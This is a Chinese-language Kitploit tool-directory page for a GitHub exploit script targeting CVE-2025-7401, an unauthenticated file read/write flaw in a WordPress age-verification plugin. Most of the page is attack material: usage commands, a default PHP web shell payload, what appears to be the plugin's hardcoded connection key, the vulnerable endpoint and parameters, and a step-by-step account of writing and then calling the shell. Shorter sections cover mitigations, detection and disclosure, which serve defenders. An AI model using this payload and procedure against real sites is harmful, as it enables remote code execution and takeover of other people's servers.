Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-7401 — WordPress Premium Age Verification / Restriction 插件 <= 3.0.2 - 未认证任意文件读取和写入 | Kitploit
工具/GitHubGitHub/nxploited/cve-2025-7401
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用数据泄露信息收集渗透测试红队
GitHubnxploited/cve-2025-7401

CVE-2025-7401

WordPress Premium Age Verification / Restriction 插件 <= 3.0.2 - 未认证任意文件读取和写入

查看仓库
21311个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-7401

Premium Age Verification / Restriction for WordPress <= 3.0.2 - 未认证任意文件读取与写入

🧾 Premium Age Verification / Restriction for WordPress <= 3.0.2 — 未认证任意文件读取与写入

📝 描述

“Premium Age Verification / Restriction for WordPress”插件在 remote_tunnel.php 中包含一个保护不足的远程支持端点。在包括 3.0.2 在内的受影响版本中,该端点可被滥用,实现未认证的任意文件读取与写入。成功利用可能导致敏感信息泄露,甚至允许远程代码执行。

  • CVE: CVE-2025-7401
  • CVSS: 9.8(严重)

⚙️ 脚本概述

  • 脚本名称:CVE-2025-7401.py
  • 用途:面向已授权安全专业人员的测试工具,用于验证受影响插件端点中的文件写入行为。该脚本会规范化目标地址,对用户提供的 PHP 代码片段进行编码,向易受攻击的端点发送 POST 请求以尝试写入文件,并可选择性地验证可通过 Web 访问的文件路径。

▶️ 快速使用示例

root@kitploit:~
# Basic (uses default connection key and default PHP shell)
python CVE-2025-7401.py -u example.com

# Use HTTPS and custom connection key, skip verification
python CVE-2025-7401.py -u https://target.example -key YOUR_KEY --no-verify

# Custom PHP payload (authorized testing only)
python CVE-2025-7401.py -u target.com -shell '<?= system($_GET["cmd"]); ?>'

🧭 命令行选项


📋 详细脚本行为(分步说明)


📌 预期输出及其含义


🛡️ 缓解措施与建议

  • 立即将插件升级到厂商提供的已修补版本。
  • 通过身份验证和适当的授权检查来限制对远程支持功能的访问。
  • 在服务端对所有用户提供的文件路径和文件内容进行清理和验证。
  • 应用严格的文件系统权限,防止 Web 用户在网络根目录中创建可执行文件。
  • 部署 WAF 规则,检测并拦截发往 remote_tunnel.php 的可疑请求。

🔎 检测与取证

  • 检查 Web 服务器日志中发送到 /wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php 的 POST 请求,重点关注参数:action=save_file、file、file_content。
  • 在插件目录中搜索意外出现的文件,例如 remote_init.php。
  • 在 POST 请求体中查找 Base64 编码的载荷。
  • 将文件变更的时间戳与可疑请求进行关联分析。

🤝 负责任的披露

如果您在第三方基础设施上发现此漏洞:

  • 请勿利用或更改生产系统。
  • 请私下、安全地联系网站所有者或插件厂商。
  • 向厂商提供可复现的步骤,并在任何公开披露之前给予合理的修复时间。

⚖️ 法律与安全声明

在许多司法管辖区,未经授权使用漏洞测试工具属于违法行为。本仓库和脚本仅用于防御性研究、授权测试和协调式漏洞披露。在测试不属于您的系统之前,请务必获得明确的书面许可。


❗ 免责声明

作者和贡献者不对信息或工具的滥用承担任何责任。请仅在法律和道德允许的范围内使用本材料。


作者:Nxploited ( Khaled Alenazi )

下载工具
标志类型默认值描述
-u, --urlstring必填目标域名或部分 URL。必要时脚本会自动拼接插件端点。示例:example.com、https://example.com、example.com/wp-content/plugins/age-restriction/。
-key, --keystring330489965d8266a739442ef890f57805远程支持端点使用的连接密钥。如果是实验室目标,可按需覆盖。
-shell, --shellstring<?= system($_GET["cmd"]); ?>要作为文件内容注入的 PHP 代码片段。仅在授权测试时修改。
--no-verifyflagfalse如果提供此标志,脚本将不执行可选的对已写入文件的 GET 验证。
步骤操作详情
1输入规范化接受用户输入(域名或部分路径)。确保包含协议(缺失时补上 http://),去除重复斜杠,并在端点不存在时追加 /wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php。
2构造请求头构造逼真的 HTTP 请求头(轮换选择 User-Agent,包含 Accept、Referer、Content-Type)。
3载荷编码对提供的 PHP 代码片段进行 Base64 编码,并将其放入 file_content。
4POST 利用请求通过 application/x-www-form-urlencoded 将 connection_key、action=save_file、file(服务器路径)和 file_content 发送到规范化后的 remote_tunnel.php 端点。
5响应解析尝试从响应体中解析 JSON。如果存在 JSON,则打印 status 和 file_path;否则打印清理后的原始响应。
6验证(可选)尝试对 /wp-content/plugins/age-restriction/modules/remote_support/remote_init.php?cmd=whoami 执行 GET 请求,以检查注入的文件是否可访问并返回内容。可通过 --no-verify 跳过。
7报告输出打印结构化、易读的报告,包括所使用的端点、HTTP 状态、解析出的 JSON(如有)、预期的 Shell URL 以及截断后的验证输出(如果成功)。
输出字段含义示例
目标端点最终发起请求的规范化 URL(remote_tunnel.php 的完整路径)。http://example.com/wp-content/.../remote_tunnel.php
HTTP 状态码POST 请求返回的 HTTP 响应码。200 通常表示请求已被处理。200
响应 JSON 状态如果端点返回 JSON,status 字段报告成功或失败。valid
响应 JSON file_path端点返回的服务器端路径,显示文件写入的位置(仅供参考)。/var/www/html/wp-content/.../remote_init.php
原始响应非 JSON 的响应体(已清理),例如 PHP 提示信息或消息。Notice: ...
Shell URL(预期)注入文件可通过公网访问的 URL。仅在授权测试中用于验证。http://example.com/wp-content/.../remote_init.php?cmd=whoami
验证 HTTP 状态可选 GET 验证的 HTTP 状态码。200
验证响应体(截断)验证响应体的前 N 个字符(有助于查看命令输出)。www-data